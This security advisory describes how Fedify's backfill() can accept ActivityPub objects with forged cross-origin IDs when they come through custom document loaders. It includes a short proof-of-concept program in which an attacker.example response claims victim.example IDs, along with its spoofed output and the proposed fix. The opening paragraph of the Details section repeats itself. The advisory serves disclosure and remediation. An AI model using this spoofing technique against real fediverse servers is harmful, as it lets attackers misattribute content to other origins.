Backfill may trust forged object IDs returned by custom document loaders
Description
A custom BackfillDocumentLoader can return a parsed ActivityPub object without the URL from which its document was retrieved. In versions without the loader-result origin check, backfill() may treat an object fetched from an attacker-controlled origin as though it belongs to the origin in its declared ID.
Details
BackfillDocumentLoader returns an ActivityPub object but does not expose the final response URL. If a custom loader fetches JSON and calls fromJsonLd() directly, the resulting object retains its declared ID but loses its retrieval provenance. An attacker-controlled document can therefore declare an ID on another origin.
BackfillDocumentLoader returns an ActivityPub object but does not expose the final response URL. If a custom loader fetches JSON and calls fromJsonLd() directly, the resulting object retains its declared ID but loses its retrieval provenance. An attacker-controlled document can therefore declare an ID on another origin. Using lookupObject() avoids this problem because it checks the declared ID against the final document URL. The proposed fix for GHSA-x58x-xx7h-7rh4 also rejects loader results whose ID origin differs from the requested IRI before caching or traversing them. That check fails closed, but can reject legitimate cross-origin redirects because the backfill loader contract does not expose the final response URL.
Proof of concept
The following program simulates a custom BackfillDocumentLoader fetching a context collection from https://attacker.example/context and parsing its JSON with Collection.fromJsonLd(). The response claims a victim-origin ID for both the collection and its embedded Note. Parsing the JSON directly discards the URL from which the document was retrieved.
The loader returns null for every other URL, so any yielded Note came from the attacker-controlled response.
import { backfill } from "@fedify/backfill";
import { Collection, Note } from "@fedify/vocab";
const contextUrl = new URL("https://attacker.example/context");
const attackerResponse = {
"@context": "https://www.w3.org/ns/activitystreams",
type: "Collection",
id: "https://victim.example/context",
items: [{
type: "Note",
id: "https://victim.example/posts/1",
content: "spoofed by attacker",
}],
};
const seed = new Note({
id: new URL("https://attacker.example/seed"),
contexts: [contextUrl],
});
const results = await Array.fromAsync(
backfill({
documentLoader: (iri) =>
iri.href === contextUrl.href
? Collection.fromJsonLd(attackerResponse)
: Promise.resolve(null),
}, seed),
);
console.log(results.map((item) => [item.id?.href, item.object.content]));Observed output with the vulnerable behavior:
[["https://victim.example/posts/1", "spoofed by attacker"]]
With the proposed maintenance fix, the program prints []. Before traversing the collection, backfill() compares its declared ID origin with the requested context URL’s origin and rejects the mismatch.
Impact
Applications using such custom loaders may ingest attacker-supplied content attributed to another origin. Whether that becomes persistent content spoofing depends on how the application handles backfilled objects. Backfilled objects are not authenticated solely by an origin check.
A provenance-aware loader result could allow backfill to validate the final response URL while supporting legitimate cross-origin redirects.